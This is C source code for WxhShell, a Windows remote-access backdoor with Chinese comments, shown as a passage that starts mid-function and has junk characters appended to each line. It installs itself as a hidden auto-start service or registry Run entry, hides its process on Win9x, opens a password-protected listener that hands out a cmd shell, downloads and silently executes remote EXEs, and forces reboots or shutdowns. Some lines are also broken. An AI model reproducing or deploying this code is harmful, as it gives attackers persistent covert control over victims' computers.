  case 'd': { GS$k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w|Mj8Lc+  
    if(Boot(SHUTDOWN)) e7?W VV,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EiN.VU `  
    else { 'wZy: c  
    closesocket(wsh); -'N#@Wdr  
    ExitThread(0); Nb8<8O ^  
    } ,G:4H%?  
    break; sogbD9Jc  
    } .J@[v  
  // 获取shell nn   
  case 's': { x2B"%3th0  
    CmdShell(wsh); X@Bpjg  
    closesocket(wsh); RP X`2zr  
    ExitThread(0); o"FX+ 17  
    break; xWwPrd  
  } v-gT 3kJ  
  // 退出 r zmk-V  
  case 'x': { [.I,B tY+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WV@Tm$ r  
    CloseIt(wsh); $`Xx5 Ts7  
    break; Y-Ku2m  
    } _l,Z38  
  // 离开 P3yiJ|vP  
  case 'q': { StDmJ]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dbuOiZ  
    closesocket(wsh); =5/;h+bk+3  
    WSACleanup(); PHK#b.B>a8  
    exit(1); 0;H6b=  
    break; t? A4xk  
        } y;Zfz~z  
  } mce`1Tjw  
  } p)^:~ ll  
)eFFtnu5  
  // 提示信息 {l11WiqQH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OT& E)eR  
} YKg[k:F  
  } RsD`9>6)  
t(Zs*c(  
  return; Wi5|9  
} JAb?u.,Ns_  
PM.SEzhm  
// shell模块句柄 p<zXuocQ  
int CmdShell(SOCKET sock) cGc|n3(  
{ LJ/qF0L!H  
STARTUPINFO si; _tReZ(Vw  
ZeroMemory(&si,sizeof(si)); !TOi]`vqc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f0`' i[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s4gNS eA  
PROCESS_INFORMATION ProcessInfo; UvZ@"El  
char cmdline[]="cmd"; $i@EfujY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D,n}Qf!GYk  
  return 0; Xe SbA  
} ?R]y}6 P$  
ye|a#a9N  
// 自身启动模式 oyt//SE  
int StartFromService(void) 05KoxFO?  
{ T"H )g  
typedef struct JZ% F  
{ $vLV< y07  
  DWORD ExitStatus; ,/:a77  
  DWORD PebBaseAddress; &7T H V  
  DWORD AffinityMask; P082.:q"  
  DWORD BasePriority; 2E2}|: ||&  
  ULONG UniqueProcessId; rH9}nL  
  ULONG InheritedFromUniqueProcessId; <s >/< kW:  
}   PROCESS_BASIC_INFORMATION; [/Z'OV"tU  
`,Nn4  
PROCNTQSIP NtQueryInformationProcess; LZ)m](+M  
oe |e+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uK:-g,;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0c61q Q6  
f 4I#a&DO  
  HANDLE             hProcess; mrC+J*  
  PROCESS_BASIC_INFORMATION pbi; @6co\.bv  
]kkBgjQbS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B#6pQp$  
  if(NULL == hInst ) return 0; G\+nWvV7  
L{LU@.;1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S%X\ ,N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VMIX$#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9I\3T6&tr  
!1'-'Q@f  
  if (!NtQueryInformationProcess) return 0; R2O.}!'  
a9Fm Y`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x"8ey|@&,  
  if(!hProcess) return 0; pfZ,t<bE2  
vif8 {S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  A<Z 5  
p$nK@t}  
  CloseHandle(hProcess); fHd!/%iG  
{* j^g6;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "Wk{4gS7l  
if(hProcess==NULL) return 0; r^A#[-VyNP  
= b<<5N s  
HMODULE hMod; N4H+_g|  
char procName[255]; Yc82vSG'  
unsigned long cbNeeded; 0O#B'Uu  
R==cz^#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ejms)JK+  
I\upnEKKzZ  
  CloseHandle(hProcess); vA;F]epr!  
[DxefYyI  
if(strstr(procName,"services")) return 1; // 以服务启动 ZSRR lkU  
"P'&+dH8  
  return 0; // 注册表启动 e:J'&r& 1  
} hO/5>Zv?  
-#wVtXaSc  
// 主模块 nF<y7XkO  
int StartWxhshell(LPSTR lpCmdLine) lW$&fuDHF  
{ PDt<lJU+X  
  SOCKET wsl; )J+{oB[>b  
BOOL val=TRUE; %A62xnX  
  int port=0; #<wpSs  
  struct sockaddr_in door; S&3X~jD(1  
=~hsKBt*  
  if(wscfg.ws_autoins) Install(); rocB"0  
(.,'}+1  
port=atoi(lpCmdLine); P-+M,>vNy[  
ZSXRzH~0  
if(port<=0) port=wscfg.ws_port; lU $4NU wM  
FKox0Jmh=  
  WSADATA data; @?Gw|bP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l+2cj?X  
30?LsYXL62  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hDljY!P>p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9$+^"ilk  
  door.sin_family = AF_INET; fJWxJSdi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rg5]`-!=  
  door.sin_port = htons(port); R3j#WgltP  
m-ph}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0\'Q&oTo  
closesocket(wsl); 3e%l8@R@  
return 1; {?*<B=c  
} X 45x~8f  
wb6L? t  
  if(listen(wsl,2) == INVALID_SOCKET) { ahNX/3; y  
closesocket(wsl); Kx- s0cw  
return 1; f6B-~x<l  
} \\S/ NA  
  Wxhshell(wsl); fey*la Xq  
  WSACleanup(); #0bO)m+NZ  
7}ws |4Y  
return 0; kS+r"e .TM  
({%oi h  
} )'[x)q  
"{A*(.  
// 以NT服务方式启动 ;8*XOC;[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h `\$sT!Z  
{ nn@^K6  
DWORD   status = 0; 7m:|u*ij2~  
  DWORD   specificError = 0xfffffff; UzgA26;  
v /R[?H)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b0@>xT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b4Z`y8=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  R"U/RS  
  serviceStatus.dwWin32ExitCode     = 0; &yx NvyA[u  
  serviceStatus.dwServiceSpecificExitCode = 0; AH2 _#\  
  serviceStatus.dwCheckPoint       = 0; /m `}f]u  
  serviceStatus.dwWaitHint       = 0; s\'y-UITi1  
p)B33Z zC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6a4'xq7  
  if (hServiceStatusHandle==0) return; *Y85DEA  
)jyq{Jb  
status = GetLastError(); O^9CV*]!n  
  if (status!=NO_ERROR) zL:&Q<  
{ ZV'$k\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lWx  
    serviceStatus.dwCheckPoint       = 0; *jk3 \KaoV  
    serviceStatus.dwWaitHint       = 0; &?.n2+T+ =  
    serviceStatus.dwWin32ExitCode     = status; v B h;  
    serviceStatus.dwServiceSpecificExitCode = specificError; Go>wo/Sb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DR:8oo&E  
    return; fdlvn*H  
  } D \N \BD  
q$r&4s)To  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sl/=g   
  serviceStatus.dwCheckPoint       = 0; z Yw;q3"  
  serviceStatus.dwWaitHint       = 0; U;xu/xDRi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y^52~[w~  
} q#P$'7"  
v(DwU!  
// 处理NT服务事件,比如:启动、停止 'X =p7 d|'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )~ 0}Et l  
{ o:2Q2+d  
switch(fdwControl) D.'h?^kA  
{ JD6aiI!Su  
case SERVICE_CONTROL_STOP:  _e%dM  
  serviceStatus.dwWin32ExitCode = 0; %*wzO9w4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &+ KyPY+  
  serviceStatus.dwCheckPoint   = 0; \K}-I  
  serviceStatus.dwWaitHint     = 0; 7vn%kW=$  
  { ~C&*.ZR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9O;cJ)tXY  
  } qG<7hr@x]  
  return; t\h$&[[l'z  
case SERVICE_CONTROL_PAUSE: p SHSgd ~&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #j;Tb2&w  
  break; |% z ^N*  
case SERVICE_CONTROL_CONTINUE: |]`hXr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \(I0wEQo$  
  break; @q K]JK  
case SERVICE_CONTROL_INTERROGATE: a1Hz3y~S/  
  break; HcRa`Sfc]/  
}; xwRhs!`t1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9lf*O0Z&n  
} 6{q;1-8j+j  
<,"4k&0Q>V  
// 标准应用程序主函数 +`@M*kd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j5Qo*p  
{ {7*>Cv}  
u*3NS$vH  
// 获取操作系统版本 UtnZNdl v  
OsIsNt=GetOsVer(); nq"evD5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `vd= ec  
{( #zcK  
  // 从命令行安装 bu>qsU3  
  if(strpbrk(lpCmdLine,"iI")) Install(); $B;_Jo\|  
WJ |:kuF  
  // 下载执行文件 f`jc#f5+'  
if(wscfg.ws_downexe) { nVE9^')8V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MtS3p>4  
  WinExec(wscfg.ws_filenam,SW_HIDE); S}(8f!9<  
} }GumpT$Xw  
(hIF]>,kl  
if(!OsIsNt) { jjRUL.  
// 如果时win9x,隐藏进程并且设置为注册表启动 pY@Y?Jj  
HideProc(); * z'8j  
StartWxhshell(lpCmdLine); "wAf. =F  
} oH^(qZ8W  
else %Y]=1BRk}  
  if(StartFromService()) w~z[wmOkp  
  // 以服务方式启动 #2RiLht  
  StartServiceCtrlDispatcher(DispatchTable); /kgeV4]zR  
else hfqqQ!,l!  
  // 普通方式启动  ~*M$O&  
  StartWxhshell(lpCmdLine); r> k-KdS  
u:&o}[  
return 0; ~e `Bq>  
} Kz jC/1sd  
c~0{s>  
sV/l5]b]  
O:'?n8rWL  
=========================================== \\06T `  
\P;rES'  
o!OMm!  
f$.?$  
FS6<V0pil  
+uo{ m~_4  
" &gtG~mp<L  
k'T^dY&c  
#include <stdio.h> :Zt2'vcGpf  
#include <string.h> &;E5[jO^D  
#include <windows.h> >5hhd38  
#include <winsock2.h> (@r `$5D.b  
#include <winsvc.h> iCj2"T4TN  
#include <urlmon.h> r@U3sO#N  
%c|UmKKi  
#pragma comment (lib, "Ws2_32.lib") b0v:12q  
#pragma comment (lib, "urlmon.lib") ;{#^MD MB  
26I  
#define MAX_USER   100 // 最大客户端连接数  foRD{Hx  
#define BUF_SOCK   200 // sock buffer Os&n  
#define KEY_BUFF   255 // 输入 buffer Su8|R"qU  
\25/$Ae}c  
#define REBOOT     0   // 重启 cc}Key@D  
#define SHUTDOWN   1   // 关机 7a4o1;l  
<IJu7t>  
#define DEF_PORT   5000 // 监听端口 (xl\J/  
+JRF0T  
#define REG_LEN     16   // 注册表键长度 +k\Uf*wh  
#define SVC_LEN     80   // NT服务名长度 }|\d+V2On  
/PzcvN  
// 从dll定义API 31WC=ur5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vw tZLP36  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6E ~g#(8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h.eM RdlO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @I`C#~  
m<rhIq  
// wxhshell配置信息 NGC,lv  
struct WSCFG { '3 33Ctxy  
  int ws_port;         // 监听端口 1x)ZB~L  
  char ws_passstr[REG_LEN]; // 口令 %" D%:   
  int ws_autoins;       // 安装标记, 1=yes 0=no 0NDftcB]  
  char ws_regname[REG_LEN]; // 注册表键名 *\}}Bv+9  
  char ws_svcname[REG_LEN]; // 服务名 mLh kI!4[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dS2G}L^L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O.`Jl%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #[{3} %b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N_eX/ux  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VU`OO$,W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m: n` g1  
fq )vK  
}; ;-P)m  
,`D~py,  
// default Wxhshell configuration t.T UmJ  
struct WSCFG wscfg={DEF_PORT, H}hFFI)#Oo  
    "xuhuanlingzhe", :bu>],d-8'  
    1, &;yH@@Z  
    "Wxhshell", r;BT,jiX  
    "Wxhshell", /X"/ha!=&D  
            "WxhShell Service", ]\-^>!F#K  
    "Wrsky Windows CmdShell Service", ^I8Esl8  
    "Please Input Your Password: ", ncu`vYI.  
  1, !pTJ./  
  "http://www.wrsky.com/wxhshell.exe", Jn:ZYqc  
  "Wxhshell.exe" dZ#&YG)?e  
    }; {7u[1[L1  
j#r6b]k(Hv  
// 消息定义模块 vo>d!rVCV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `?T#Hl>j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d) f@ 5/<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y3.$G1{#0w  
char *msg_ws_ext="\n\rExit."; X cr  =  
char *msg_ws_end="\n\rQuit."; <8,o50`B  
char *msg_ws_boot="\n\rReboot..."; ~h}Fi  
char *msg_ws_poff="\n\rShutdown..."; I V%zO+  
char *msg_ws_down="\n\rSave to "; SIO&rrT.  
[B@'kwD\l  
char *msg_ws_err="\n\rErr!"; '* mH*?Y  
char *msg_ws_ok="\n\rOK!"; &Z(K6U#.  
**9x?s  
char ExeFile[MAX_PATH]; F+R?a+e  
int nUser = 0; kiUGZ^k\s  
HANDLE handles[MAX_USER]; :B3[:MpL}  
int OsIsNt; -;f*VM.a  
FZjHw_pP  
SERVICE_STATUS       serviceStatus; *eI)Z=8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [Wd-Zn%  
]Chj T}  
// 函数声明 `&\Q +W  
int Install(void); X%z }VA  
int Uninstall(void); +$4(zP s@  
int DownloadFile(char *sURL, SOCKET wsh); L,y6^J!  
int Boot(int flag); Z^ }mp@j>  
void HideProc(void); ! cKz7?w  
int GetOsVer(void); B9p?8.[  
int Wxhshell(SOCKET wsl); s { #3r  
void TalkWithClient(void *cs); Uc/+gz Z;  
int CmdShell(SOCKET sock); mc=LP>uoS  
int StartFromService(void); DPi_O{W>  
int StartWxhshell(LPSTR lpCmdLine); U*90m~)  
J+rCxn?;g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V5+SWXZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HhO".GA  
A-:O`RK  
// 数据结构和表定义 +"9hWb5  
SERVICE_TABLE_ENTRY DispatchTable[] = ;^t{Il'j  
{ N0hE4t  
{wscfg.ws_svcname, NTServiceMain}, dJ$"l|$$  
{NULL, NULL} fXrXV~'8  
}; ^u 3V E  
f0Bto/,>~  
// 自我安装 oIUy-|  
int Install(void) U(~+o  
{ &-(463  
  char svExeFile[MAX_PATH]; 8r3A~  
  HKEY key; 3?Y2L  
  strcpy(svExeFile,ExeFile); 9x,RvWTb  
 >S$Z  
// 如果是win9x系统,修改注册表设为自启动 ss;R8:5  
if(!OsIsNt) { xsWur(>]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5 ae2<Y=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F~A'X  
  RegCloseKey(key); [O: !(G je  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f~ }H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !i=nSqW  
  RegCloseKey(key); 9UvXC)R1  
  return 0; J2uZmEt  
    } N0#JOu}~  
  } [@yV!#2  
} v[Kxja;  
else { g{5A4|_7  
>X*Mio8P#  
// 如果是NT以上系统,安装为系统服务 sz9L8f2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CI3XzH\IX*  
if (schSCManager!=0) `/Y{ l  
{ yf&7P;A  
  SC_HANDLE schService = CreateService <&)v~-&O  
  ( @&[T _l  
  schSCManager, Y@PI {;!  
  wscfg.ws_svcname, /x3/Ubmz~x  
  wscfg.ws_svcdisp, {Zp\^/  
  SERVICE_ALL_ACCESS, hYawU@R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L(X6-M:  
  SERVICE_AUTO_START, KK@.~'d  
  SERVICE_ERROR_NORMAL, N!*_La=TuH  
  svExeFile, `^lYw:xA  
  NULL, S_~z-`;h!  
  NULL, qCv20#!"|  
  NULL, >E*$ E  
  NULL, ,o]4?-  
  NULL ?yh}/T\qp  
  ); *L!!]Q2c  
  if (schService!=0) =]k {"?j  
  { 7RZh<A>m  
  CloseServiceHandle(schService); 0OGCilOb*  
  CloseServiceHandle(schSCManager); ~a xjjv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CKA;.sh  
  strcat(svExeFile,wscfg.ws_svcname); ^e+a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fxgr`nC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mFHH515  
  RegCloseKey(key); `5H$IP1XhA  
  return 0; G7D2{J{1  
    } ;E'"Ks[GH  
  } 4lZ$;:Jg  
  CloseServiceHandle(schSCManager); q%ow/!\;  
} eI@ q|"U  
} ,^S@EDq  
!0N7^Z"gtz  
return 1; 37;$-cFE  
} ?&Pg2]g<  
*cyeO*  
// 自我卸载 a ^%"7Ri  
int Uninstall(void) @)K%2Y`  
{ u[{tb  
  HKEY key; LdB($4,  
3"rzb]=R  
if(!OsIsNt) { x\QY@9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wY"Q o7  
  RegDeleteValue(key,wscfg.ws_regname); 7.j[a*^  
  RegCloseKey(key); .; &# )l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A'nq}t 3  
  RegDeleteValue(key,wscfg.ws_regname); Znetzm=0  
  RegCloseKey(key); cW+t#>' r  
  return 0; ^ "\R\COQ  
  } _D|^.)=U|  
} f  nI|  
} bO<CR  
else { hTwA%  
'g9"Qv?0{`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ApjOj/  
if (schSCManager!=0) zq%D/H6J,  
{ frBX{L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !Kv@\4  
  if (schService!=0) A19;1#$=  
  { Ja ,Cvt  
  if(DeleteService(schService)!=0) { k^OV56  
  CloseServiceHandle(schService); +}-@@,  
  CloseServiceHandle(schSCManager); Z y_V9j[n  
  return 0; M?;y\vS?.  
  } }6 K^`!  
  CloseServiceHandle(schService); ~@kU3ZGJZ  
  } oHs2L-G  
  CloseServiceHandle(schSCManager); D\e8,,H  
} x|{IwA9  
} G}9=)  
#]'rz,E<  
return 1; 1 `KN]Nt  
} r#6_]ep}<'  
w;l<[q?_  
// 从指定url下载文件 Q3"} Hl2  
int DownloadFile(char *sURL, SOCKET wsh) l9M0cZ,  
{ rm} R>4  
  HRESULT hr; kHqztg  
char seps[]= "/"; %e@#ux m  
char *token; +Y+Y6Ac[}  
char *file; (#;`"Yu  
char myURL[MAX_PATH]; Y \:0Ev  
char myFILE[MAX_PATH]; HEGKX]  
P bQk<"J1  
strcpy(myURL,sURL); PdVfO8-  
  token=strtok(myURL,seps); 9+keX{/c  
  while(token!=NULL) v 36%Pj`  
  { |^9BA-nA  
    file=token; yZ!T8"mz{  
  token=strtok(NULL,seps); rSYi<ku  
  } BT@r!>Nl  
#:d =)Qj0  
GetCurrentDirectory(MAX_PATH,myFILE); r$wxk 4%Rz  
strcat(myFILE, "\\");  ;vb8G$  
strcat(myFILE, file); 6[]]Y,Y  
  send(wsh,myFILE,strlen(myFILE),0); !`7B^RZ  
send(wsh,"...",3,0); x\Y $+A,P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zo{$  
  if(hr==S_OK) $t/x;< .H  
return 0; #h@J=Ki  
else kEd@oC  
return 1; =H|6 GJ  
nF5qw>t#  
} c_" ~n|  
kD}Y|*]5-5  
// 系统电源模块 P<K){V  
int Boot(int flag) HfLLlH<L`&  
{ ^#0U  ?9  
  HANDLE hToken; 7L^%x3-|&  
  TOKEN_PRIVILEGES tkp; Xo*DvD  
TYA~#3G)  
  if(OsIsNt) { lKgKtQpi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~l2aNVv;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LF0sH)e]  
    tkp.PrivilegeCount = 1; vO;I(^Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CwJDmz\tk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ks\ NE=;5  
if(flag==REBOOT) { d9n?v)<v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b<]n%Q'n  
  return 0; *~/OOH$"  
} 8KH\`5<  
else { $\k0Nup}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =rR~`  
  return 0; WF\)fc#;_o  
} ZR\VCVH\^  
  } 21(p|`X  
  else { sFBneBub  
if(flag==REBOOT) { &[hLzlrg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vp(;W,ba:|  
  return 0; #b7$TV  
} *kIc9}  
else { =f(cH152T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V _c @b%  
  return 0; W14 Vm(`N  
} jg&E94}+  
} c`fG1s  
)yo a  
return 1; aTzjm`F0  
} !cGDy/ |  
"HYQqNj?Z  
// win9x进程隐藏模块 rS1fK1dy s  
void HideProc(void) *Y@nVi  
{ RyRpl*^  
Pm$q]A~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I7&_Xr  
  if ( hKernel != NULL ) }y%oT P&  
  { [{r}u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &gI~LP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ssk}e=]  
    FreeLibrary(hKernel); u=YX9Mo!  
  } Qeu\&%C!<  
?h!i0Rsm  
return; }za[E>z  
} '<0J@^vZ  
I=;+n-  
// 获取操作系统版本 lHZU iB  
int GetOsVer(void) ^GBe)~MT  
{ ,j5&6X=1M  
  OSVERSIONINFO winfo; l$hJE;n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S1U@UC  
  GetVersionEx(&winfo); zm,@]!wI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "k Te2iS  
  return 1; D3c2^r $Z  
  else f7I{WfZ\P  
  return 0; 5E0eyW  
} 4^<6r*  
%?e(hnM  
// 客户端句柄模块 R1Ye<R!Q  
int Wxhshell(SOCKET wsl) $3,ryXp7  
{ d(:3   
  SOCKET wsh; QORN9SY  
  struct sockaddr_in client; zX#%{#9  
  DWORD myID; `HuCT6O  
eyp,y2Tz  
  while(nUser<MAX_USER) |7KeR-  
{ x3rlJs`$;  
  int nSize=sizeof(client); 8t=(,^c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _ %%Z6x(  
  if(wsh==INVALID_SOCKET) return 1; *6 U&Qy-M  
4:9KR[y/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A6oq.I0  
if(handles[nUser]==0) G Xt4j  
  closesocket(wsh); uGs; }<<8  
else ~r{5`;c  
  nUser++; K 0hu:1l)  
  }  mA7m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3Oa*%kP+  
@/&b;s73  
  return 0; >h+349  
} +\"-P72vjk  
gDIBnH  
// 关闭 socket J1XL<7  
void CloseIt(SOCKET wsh) Db"DG(  
{ <ER'Ed  
closesocket(wsh); hAj1{pA,  
nUser--; @t1V o}c  
ExitThread(0); 1.q_f<U  
} s6o>m*{  
z>R#H/h+  
// 客户端请求句柄 Qo =Kqv  
void TalkWithClient(void *cs) 3gQPKBpc  
{ Vpp;\  
d`d0 N5\  
  SOCKET wsh=(SOCKET)cs; W9oAjO NE  
  char pwd[SVC_LEN]; \(p{t  
  char cmd[KEY_BUFF]; ,_ag;pt9)  
char chr[1]; an2AX% u  
int i,j; *4|Hqa  
-|Kzo_" v5  
  while (nUser < MAX_USER) { 8q)=  
h O emt  
if(wscfg.ws_passstr) { 6bBdIqGb}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  _ q(Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [i]r-|_K  
  //ZeroMemory(pwd,KEY_BUFF); \C 5%\4  
      i=0; dd|W@Xp -  
  while(i<SVC_LEN) { Iak0 [6Ey  
F\ctuaLC  
  // 设置超时 8e0."o.6  
  fd_set FdRead; s/Xb^XjS1  
  struct timeval TimeOut; [Vdz^_@Y  
  FD_ZERO(&FdRead); wve=.n  
  FD_SET(wsh,&FdRead); w{ `|N$  
  TimeOut.tv_sec=8; #0;HOeIiH  
  TimeOut.tv_usec=0; j8 C8X$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n-QJ;37\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0|D&"/.R#!  
V[a[i>,Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2AVc? 9@  
  pwd=chr[0]; XN,,cU  
  if(chr[0]==0xd || chr[0]==0xa) { F^!mI7Z|(2  
  pwd=0; mKq"3 4F  
  break; <5@PWrU?[[  
  } nW?R"@Zm  
  i++; 69#8Z+dw7  
    } HEA eo!  
>5T_g2pkv  
  // 如果是非法用户,关闭 socket 9j*0D("  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N~ANjn/wL  
} kcB+_  
&@3m -Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z&4~x!-_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fRTo.u  
Mp\<cE  
while(1) { 6aOp[-Le  
) gR=<oa  
  ZeroMemory(cmd,KEY_BUFF); 1px\K8  
nws"RcP+Z  
      // 自动支持客户端 telnet标准   bXM/2Z?6  
  j=0; }jF+`!*!  
  while(j<KEY_BUFF) { j;K#]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -Cid3~mX3  
  cmd[j]=chr[0]; +Zk,2ri  
  if(chr[0]==0xa || chr[0]==0xd) { ep(g`e  
  cmd[j]=0; 0"[`>K~7a8  
  break; /vE]2Io  
  } !.fw,!}hOD  
  j++; `"k9wC1  
    } ED} 31L  
K X]oE+:  
  // 下载文件 Gt/4F-Gn  
  if(strstr(cmd,"http://")) { /&ygiH{^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;mAhY  
  if(DownloadFile(cmd,wsh)) }1+%_|Y-E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #p yim_  
  else K'6[J"dB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xk~Nmb}  
  } >Cd9fJ&0gP  
